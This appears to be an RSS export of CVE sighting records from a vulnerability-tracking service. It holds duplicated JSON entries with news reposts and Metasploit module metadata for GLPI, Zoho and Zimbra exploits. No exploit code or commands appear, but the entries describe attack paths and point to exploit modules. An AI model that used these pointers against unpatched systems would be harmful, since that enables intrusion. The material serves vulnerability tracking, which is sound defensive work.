https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Thu, 17 Sep 2026 09:38:36 +0000 https://vulnerability.circl.lu/sighting/17454c92-77e9-4adc-85e0-4fb1e35e66f6/export {"uuid": "17454c92-77e9-4adc-85e0-4fb1e35e66f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-11T00:00:55.125153Z"} {"uuid": "17454c92-77e9-4adc-85e0-4fb1e35e66f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-11T00:00:55.125153Z"} https://vulnerability.circl.lu/sighting/17454c92-77e9-4adc-85e0-4fb1e35e66f6/export Fri, 11 Sep 2026 00:00:55 +0000 https://vulnerability.circl.lu/sighting/160e39c8-c70c-44b1-9370-83c1c089f846/export {"uuid": "160e39c8-c70c-44b1-9370-83c1c089f846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35803", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6363", "content": "exploit\nWindows Kernel: Exploit CVE-2022-35803 in Common Log File System\nhttps://blog.northseapwn.top/2022/11/11/Windows-Kernel-Exploit-CVE-2022-35803-in-Common-Log-File-System/index.html\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.08.24", "creation_timestamp": "2026-09-11T00:00:51.333437Z"} {"uuid": "160e39c8-c70c-44b1-9370-83c1c089f846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35803", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6363", "content": "exploit\nWindows Kernel: Exploit CVE-2022-35803 in Common Log File System\nhttps://blog.northseapwn.top/2022/11/11/Windows-Kernel-Exploit-CVE-2022-35803-in-Common-Log-File-System/index.html\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.08.24", "creation_timestamp": "2026-09-11T00:00:51.333437Z"} https://vulnerability.circl.lu/sighting/160e39c8-c70c-44b1-9370-83c1c089f846/export Fri, 11 Sep 2026 00:00:51 +0000 https://vulnerability.circl.lu/sighting/0bdd031d-9770-44f4-9da8-a7f3d46c41d3/export {"uuid": "0bdd031d-9770-44f4-9da8-a7f3d46c41d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35803", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6363", "content": "exploit\nWindows Kernel: Exploit CVE-2022-35803 in Common Log File System\nhttps://blog.northseapwn.top/2022/11/11/Windows-Kernel-Exploit-CVE-2022-35803-in-Common-Log-File-System/index.html\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.08.24", "creation_timestamp": "2026-09-10T05:00:04.398155Z"} {"uuid": "0bdd031d-9770-44f4-9da8-a7f3d46c41d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35803", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6363", "content": "exploit\nWindows Kernel: Exploit CVE-2022-35803 in Common Log File System\nhttps://blog.northseapwn.top/2022/11/11/Windows-Kernel-Exploit-CVE-2022-35803-in-Common-Log-File-System/index.html\n\n\n\u2069-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.08.24", "creation_timestamp": "2026-09-10T05:00:04.398155Z"} https://vulnerability.circl.lu/sighting/0bdd031d-9770-44f4-9da8-a7f3d46c41d3/export Thu, 10 Sep 2026 05:00:04 +0000 https://vulnerability.circl.lu/sighting/da889a99-aa33-4144-922f-0f51814cc790/export {"uuid": "da889a99-aa33-4144-922f-0f51814cc790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-10T02:00:04.379746Z"} {"uuid": "da889a99-aa33-4144-922f-0f51814cc790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-10T02:00:04.379746Z"} https://vulnerability.circl.lu/sighting/da889a99-aa33-4144-922f-0f51814cc790/export Thu, 10 Sep 2026 02:00:04 +0000 https://vulnerability.circl.lu/sighting/de086d54-1d21-45cb-bbd2-6758a34b9e15/export {"uuid": "de086d54-1d21-45cb-bbd2-6758a34b9e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35405", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x64, cmd\", \"author\": [\"Vinicius\", \"Y4er\", \"Grant Willcox\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\\n gain RCE as the SYSTEM user.\", \"disclosure_date\": \"2022-06-24\", \"fullname\": \"exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Zoho Password Manager Pro XML-RPC Java Deserialization\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"windows/http/zoho_password_manager_pro_xml_rpc_rce\", \"references\": [\"CVE-2022-35405\", \"URL-https://xz.aliyun.com/t/11578\", \"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html\", \"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm\"], \"rport\": 7272, \"session_types\": false, \"targets\": [\"Windows EXE Dropper\", \"Windows Command\", \"Windows Powershell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:02.474502Z"} {"uuid": "de086d54-1d21-45cb-bbd2-6758a34b9e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35405", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x64, cmd\", \"author\": [\"Vinicius\", \"Y4er\", \"Grant Willcox\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\\n gain RCE as the SYSTEM user.\", \"disclosure_date\": \"2022-06-24\", \"fullname\": \"exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Zoho Password Manager Pro XML-RPC Java Deserialization\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"windows/http/zoho_password_manager_pro_xml_rpc_rce\", \"references\": [\"CVE-2022-35405\", \"URL-https://xz.aliyun.com/t/11578\", \"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html\", \"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm\"], \"rport\": 7272, \"session_types\": false, \"targets\": [\"Windows EXE Dropper\", \"Windows Command\", \"Windows Powershell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:02.474502Z"} https://vulnerability.circl.lu/sighting/de086d54-1d21-45cb-bbd2-6758a34b9e15/export Tue, 08 Sep 2026 06:52:02 +0000 https://vulnerability.circl.lu/sighting/35d515ae-5f09-4afc-8e7f-db72dec97759/export {"uuid": "35d515ae-5f09-4afc-8e7f-db72dec97759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3569", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/zimbra_postfix_priv_esc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"EvergreenCartoons\", \"Ron Bowes\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerable sudo configuration that permits the\\n zimbra user to execute postfix as root. In turn, postfix can execute\\n arbitrary shellscripts, which means it can execute a root shell.\", \"disclosure_date\": \"2022-10-13\", \"fullname\": \"exploit/linux/local/zimbra_postfix_priv_esc\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:34 +0000\", \"name\": \"Zimbra sudo + postfix privilege escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/zimbra_postfix_priv_esc.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/zimbra_postfix_priv_esc\", \"references\": [\"CVE-2022-3569\", \"URL-https://twitter.com/ldsopreload/status/1580539318879547392\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Auto\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:14.450691Z"} {"uuid": "35d515ae-5f09-4afc-8e7f-db72dec97759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3569", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/zimbra_postfix_priv_esc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"EvergreenCartoons\", \"Ron Bowes\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a vulnerable sudo configuration that permits the\\n zimbra user to execute postfix as root. In turn, postfix can execute\\n arbitrary shellscripts, which means it can execute a root shell.\", \"disclosure_date\": \"2022-10-13\", \"fullname\": \"exploit/linux/local/zimbra_postfix_priv_esc\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:34 +0000\", \"name\": \"Zimbra sudo + postfix privilege escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/zimbra_postfix_priv_esc.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/zimbra_postfix_priv_esc\", \"references\": [\"CVE-2022-3569\", \"URL-https://twitter.com/ldsopreload/status/1580539318879547392\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Auto\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:14.450691Z"} https://vulnerability.circl.lu/sighting/35d515ae-5f09-4afc-8e7f-db72dec97759/export Tue, 08 Sep 2026 06:49:14 +0000 https://vulnerability.circl.lu/sighting/077c017f-2b10-4b57-83dd-1eb2de850f0a/export {"uuid": "077c017f-2b10-4b57-83dd-1eb2de850f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, x64\", \"author\": [\"cosad3s\", \"bwatters-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploit takes advantage of a unauthenticated php command injection available\\n from GLPI versions 10.0.2 and below to execute a command.\", \"disclosure_date\": \"2022-01-26\", \"fullname\": \"exploit/linux/http/glpi_htmlawed_php_injection\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:54:55 +0000\", \"name\": \"GLPI htmLawed php command injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/glpi_htmlawed_php_injection\", \"references\": [\"CVE-2022-35914\", \"URL-https://github.com/cosad3s/CVE-2022-35914-poc\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Nix Command\", \"Linux (Dropper)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:36.329796Z"} {"uuid": "077c017f-2b10-4b57-83dd-1eb2de850f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb", "content": "{\"aliases\": [], \"arch\": \"cmd, x64\", \"author\": [\"cosad3s\", \"bwatters-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploit takes advantage of a unauthenticated php command injection available\\n from GLPI versions 10.0.2 and below to execute a command.\", \"disclosure_date\": \"2022-01-26\", \"fullname\": \"exploit/linux/http/glpi_htmlawed_php_injection\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:54:55 +0000\", \"name\": \"GLPI htmLawed php command injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/glpi_htmlawed_php_injection\", \"references\": [\"CVE-2022-35914\", \"URL-https://github.com/cosad3s/CVE-2022-35914-poc\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Nix Command\", \"Linux (Dropper)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:36.329796Z"} https://vulnerability.circl.lu/sighting/077c017f-2b10-4b57-83dd-1eb2de850f0a/export Tue, 08 Sep 2026 06:48:36 +0000 https://vulnerability.circl.lu/sighting/b195a583-0c97-4227-bca2-0d967d861e0a/export {"uuid": "b195a583-0c97-4227-bca2-0d967d861e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35737", "type": "seen", "source": "https://t.me/hacking_Attack/74939", "content": "couldn\u2019t find a way to inject a 2GB string.\n\nCVE-2022-35737 was reported to the Computer Emergency Response Team (CERT) Coordination Center by Trail of Bits on July 14. CERT confirmed the issue, reached out to SQLite maintainers, and the team fixed the bug in the software\u2019s source code only three days later \u2013 a task accomplished by converting to the use of 64-bit integers.\n\nThe patched SQLite version, v3.39.2, was released on July 21.\n\n\u201cWe are grateful for the responsible disclosure from the researchers who found it,\u201d Hipp said. \u201cIt doesn\u2019t hurt to upgrade to a newer release of SQLite. But very few if any real-world applications should be affected by this.\u201d\n\n\u200b\nTrending: Exploited Windows zero-day lets JavaScript files bypass security warnings Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-5-1-300x150.png OpenSSL Gives Heads Up to Critical Vulnerability DisclosureOctober 31, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-4-1-300x150.png GitHub patches bug called repojacking that could allow access to another user\u2019s repoOctober 28, 2022\nReading Time: 3 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-3-1-300x150.png Windows vulnerable driver blocklist sync issue patchedOctober 27, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-2-2-300x150.png Cisco warns admins to patch AnyConnect flaw exploited in attacksOctober 26, 2022\nReading Time: 3 minutes\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!\nThe post SQLite patches 22-year-old code execution, a DoS vulnerability first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.728929Z"} {"uuid": "b195a583-0c97-4227-bca2-0d967d861e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35737", "type": "seen", "source": "https://t.me/hacking_Attack/74939", "content": "couldn\u2019t find a way to inject a 2GB string.\n\nCVE-2022-35737 was reported to the Computer Emergency Response Team (CERT) Coordination Center by Trail of Bits on July 14. CERT confirmed the issue, reached out to SQLite maintainers, and the team fixed the bug in the software\u2019s source code only three days later \u2013 a task accomplished by converting to the use of 64-bit integers.\n\nThe patched SQLite version, v3.39.2, was released on July 21.\n\n\u201cWe are grateful for the responsible disclosure from the researchers who found it,\u201d Hipp said. \u201cIt doesn\u2019t hurt to upgrade to a newer release of SQLite. But very few if any real-world applications should be affected by this.\u201d\n\n\u200b\nTrending: Exploited Windows zero-day lets JavaScript files bypass security warnings Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-5-1-300x150.png OpenSSL Gives Heads Up to Critical Vulnerability DisclosureOctober 31, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-4-1-300x150.png GitHub patches bug called repojacking that could allow access to another user\u2019s repoOctober 28, 2022\nReading Time: 3 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-3-1-300x150.png Windows vulnerable driver blocklist sync issue patchedOctober 27, 2022\nReading Time: 4 minutes\n\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-2-2-300x150.png Cisco warns admins to patch AnyConnect flaw exploited in attacksOctober 26, 2022\nReading Time: 3 minutes\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!\nThe post SQLite patches 22-year-old code execution, a DoS vulnerability first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.728929Z"} https://vulnerability.circl.lu/sighting/b195a583-0c97-4227-bca2-0d967d861e0a/export Sun, 06 Sep 2026 00:00:57 +0000 https://vulnerability.circl.lu/sighting/c8ce4df3-53e3-4d73-8d70-fefd84caa4eb/export {"uuid": "c8ce4df3-53e3-4d73-8d70-fefd84caa4eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35737", "type": "seen", "source": "https://t.me/hacking_Attack/74938", "content": "Black Hat Ethical Hacking\nSQLite patches 22-year-old code execution, a DoS vulnerability\n\nSQLite patches 22-year-old code execution, a DoS vulnerabilityPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes The maintainers of the SQLite database engine have patched a high severity\u00a0vulnerability (DoS)\u00a0that attackers could exploit to crash or control programs that rely on the software.Developers of the software have offered The Daily Swig\u00a0a convincing argument that the flaw would be difficult to exploit in practice. Even so, they have revised the software with a patch to defend against the flaw \u2013 rather than dismissing the issue as something that can be safely ignored. SQLite\u00a0is a popular open source C-language library that underpins many enterprise apps and services. Notable users of SQLite\u00a0include Apple, Adobe, Google, Facebook, and Microsoft. There are billions of copies of SQLite deployed worldwide.\n\nThe SQLite team is quick to fix emerging vulnerabilities in the software due to their potentially wide-reaching impact. However, a vulnerability disclosed this month by Trail of Bits was introduced 22 years ago and highlighted how initially secure functionality could have unintended consequences much further down the line.\n\nIn a blog post\u00a0dated October 25, Trail of Bits researcher Andreas Kellas said the vulnerability was introduced in SQLite version 1.0.12, a 2000 release that landed when the software was primarily based on 32-bit architectures. According to Kellas, the bug \u201cmay not have seemed like an error\u201d at the time.\n\nThe high severity vulnerability is tracked as CVE-2022-35737, scoring a CVSS severity score of 7.5.\n\nTrail of Bits said the bug impacts any app that relies on the SQLite library API.\n\nThe vulnerability is exploitable on 64-bit systems when large string inputs contain %Q, %q, or %w\u00a0format substitution types that \u2013 in this scenario \u2013 might cause programs to crash or worse.\n\nIn the most severe cases \u2013 when the !\u00a0special character exists in the format string \u2013 it may be \u201cpossible to achieve arbitrary code execution, in the worst case, or to cause the program to hang and loop (nearly) indefinitely,\u201d according to the researchers.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Root cause analysisSpeaking to The Daily Swig, the creator of SQLite, D. Richard Hipp, said the root cause of the problem was the use of signed 32-bit integers as a byte index into the input string and to compute the size of the output string. When an input string was large enough, the integer would overflow, and \u201call kinds of problems\u201d ensued.\n\nHowever, the potential impact of the flaw appears to be limited.\n\nHipp told us that it is not possible to reach the vulnerability for malicious purposes via SQL inputs or by passing SQLite a malformed database file. Instead, an attacker would have to abuse the use the sqlite3_mprintf()\u00a0function \u2013 or \u201csimilar C-level interfaces with a format string that includes one of the non-standard [;\u2026]\u00a0conversion symbols, and then pass in a string that is over 2GB in size\u201d.\n\nThe software developer added:\n\n\u201cLots of applications use SQLite, but only a small percentage of those use the sqlite3_mprintf() API, and an even smaller percentage make use of %Q, %q, or %w. Of those that do, most do not provide a way for an attacker to arrange for a 2GB+ string to be passed into the argument to %Q, %q, or %w.\u201d\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Unearthing FossilIn addition, while the project uses the Fossil control system and this software uses printf, the team [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.512691Z"} {"uuid": "c8ce4df3-53e3-4d73-8d70-fefd84caa4eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35737", "type": "seen", "source": "https://t.me/hacking_Attack/74938", "content": "Black Hat Ethical Hacking\nSQLite patches 22-year-old code execution, a DoS vulnerability\n\nSQLite patches 22-year-old code execution, a DoS vulnerabilityPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes The maintainers of the SQLite database engine have patched a high severity\u00a0vulnerability (DoS)\u00a0that attackers could exploit to crash or control programs that rely on the software.Developers of the software have offered The Daily Swig\u00a0a convincing argument that the flaw would be difficult to exploit in practice. Even so, they have revised the software with a patch to defend against the flaw \u2013 rather than dismissing the issue as something that can be safely ignored. SQLite\u00a0is a popular open source C-language library that underpins many enterprise apps and services. Notable users of SQLite\u00a0include Apple, Adobe, Google, Facebook, and Microsoft. There are billions of copies of SQLite deployed worldwide.\n\nThe SQLite team is quick to fix emerging vulnerabilities in the software due to their potentially wide-reaching impact. However, a vulnerability disclosed this month by Trail of Bits was introduced 22 years ago and highlighted how initially secure functionality could have unintended consequences much further down the line.\n\nIn a blog post\u00a0dated October 25, Trail of Bits researcher Andreas Kellas said the vulnerability was introduced in SQLite version 1.0.12, a 2000 release that landed when the software was primarily based on 32-bit architectures. According to Kellas, the bug \u201cmay not have seemed like an error\u201d at the time.\n\nThe high severity vulnerability is tracked as CVE-2022-35737, scoring a CVSS severity score of 7.5.\n\nTrail of Bits said the bug impacts any app that relies on the SQLite library API.\n\nThe vulnerability is exploitable on 64-bit systems when large string inputs contain %Q, %q, or %w\u00a0format substitution types that \u2013 in this scenario \u2013 might cause programs to crash or worse.\n\nIn the most severe cases \u2013 when the !\u00a0special character exists in the format string \u2013 it may be \u201cpossible to achieve arbitrary code execution, in the worst case, or to cause the program to hang and loop (nearly) indefinitely,\u201d according to the researchers.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Root cause analysisSpeaking to The Daily Swig, the creator of SQLite, D. Richard Hipp, said the root cause of the problem was the use of signed 32-bit integers as a byte index into the input string and to compute the size of the output string. When an input string was large enough, the integer would overflow, and \u201call kinds of problems\u201d ensued.\n\nHowever, the potential impact of the flaw appears to be limited.\n\nHipp told us that it is not possible to reach the vulnerability for malicious purposes via SQL inputs or by passing SQLite a malformed database file. Instead, an attacker would have to abuse the use the sqlite3_mprintf()\u00a0function \u2013 or \u201csimilar C-level interfaces with a format string that includes one of the non-standard 